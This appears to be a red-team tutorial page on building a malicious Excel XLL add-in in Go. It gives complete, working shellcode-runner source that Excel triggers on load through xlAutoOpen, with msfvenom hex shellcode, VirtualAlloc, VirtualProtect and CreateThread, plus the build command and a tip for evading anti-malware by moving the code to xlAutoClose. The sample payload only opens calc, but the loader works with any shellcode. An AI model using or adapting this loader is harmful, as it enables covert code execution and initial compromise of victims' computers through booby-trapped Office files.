# 3. Malicious XLL using Golang

## Introduction

[The primary reason for writing Microsoft Excel XLLs](https://learn.microsoft.com/en-us/office/client-developer/excel/developing-excel-xlls) and using the C API is to create high-performance worksheet functions. The applications of high-performance functions—and, starting in Excel 2007, the ability to write multithreaded interfaces to powerful server resources—make it a very important part of Excel extensibility. The performance of XLLs was further enhanced in Excel 2007 by the addition of new data types and, most important, support for multithreading.

## [Turning DLLs into XLLs: Add-in Manager Interface Functions](https://learn.microsoft.com/en-us/office/client-developer/excel/creating-xlls#turning-dlls-into-xlls-add-in-manager-interface-functions)

To create an XLL (from a DLL) we need to have as a minimum an to export the xlAutoOpen function. Excel calls the [xlAutoOpen](https://learn.microsoft.com/en-us/office/client-developer/excel/xlautoopen) function whenever the XLL is activated. The add-in will be activated at the start of an Excel session if it was active in the last Excel session that ended normally. The add-in is activated if it is loaded during an Excel session. The add-in can be deactivated and reactivated during an Excel session, and the function is called on reactivation.

That's a good place to add our shellcode running code, although we don't have to. We might be able to bypass anti-malware engines by inserting our code in the xlAutoClose function.&#x20;

We take the code from the [Malicious dll](https://www.scriptchildie.com/payloads/payloads/2.-malicious-dll-using-golang) and modify the shrun function to xlAutoOpen and rename the compiled dll to xll.&#x20;

So we execute the code using&#x20;

`go build -buildmode=c-shared -o maliciousxll.xll`

Double clicking on the xll opens excel:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fp8dE0rJRMyIzyzVfR7vf%2Fimage.png?alt=media&#x26;token=b1b8a5df-aea6-4439-b9cc-071fb39c559e" alt=""><figcaption><p>messagebox from init function in EXCEL</p></figcaption></figure>

We then see the calculator pop up

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FNi6Y1gamu6ByLEGOqsBN%2Fimage.png?alt=media&#x26;token=bd815f26-de1a-4671-b84f-3818e3fc4a8a" alt=""><figcaption><p>Calculator from the xll</p></figcaption></figure>

{% hint style="info" %}
If we are targeting the 32-bit version of office we should use a 32-bit shellcode and compile the dll as a 32-bit dll.
{% endhint %}

## Complete Code

```go
package main

import "C" // Cgo is required to compile a dll
import (
	"encoding/hex"
	"fmt"
	"log"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

// This code will execute before any other function executes
func init() {
	windows.MessageBox(
		windows.HWND(0),
		windows.StringToUTF16Ptr("Shellcode Runner"),
		windows.StringToUTF16Ptr("Hello from EXCEL!"),
		0x0,
	)
}

// Exported functions should have the following comment right before the function
//
//export xlAutoOpen
func xlAutoOpen() {
	//msfvenom  -f hex -p windows/x64/exec cmd=calc
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	fmt.Println("[+] Allocating memory for shellcode")
	addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
	if err != nil {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", err)
	}
	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	fmt.Println("[+] Wrote shellcode bytes to destination address")

	fmt.Println("[+] Changing Permissions to RX")
	var oldProtect uint32
	err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procCreateThread := modKernel32.NewProc("CreateThread")
	tHandle, _, lastErr := procCreateThread.Call(
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(0))

	if tHandle == 0 {
		log.Fatalf("Unable to Create Thread: %v\n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  %x \n", tHandle)
	windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}

// doesn't really do anything but it's needed to compile
func main() {

}

```
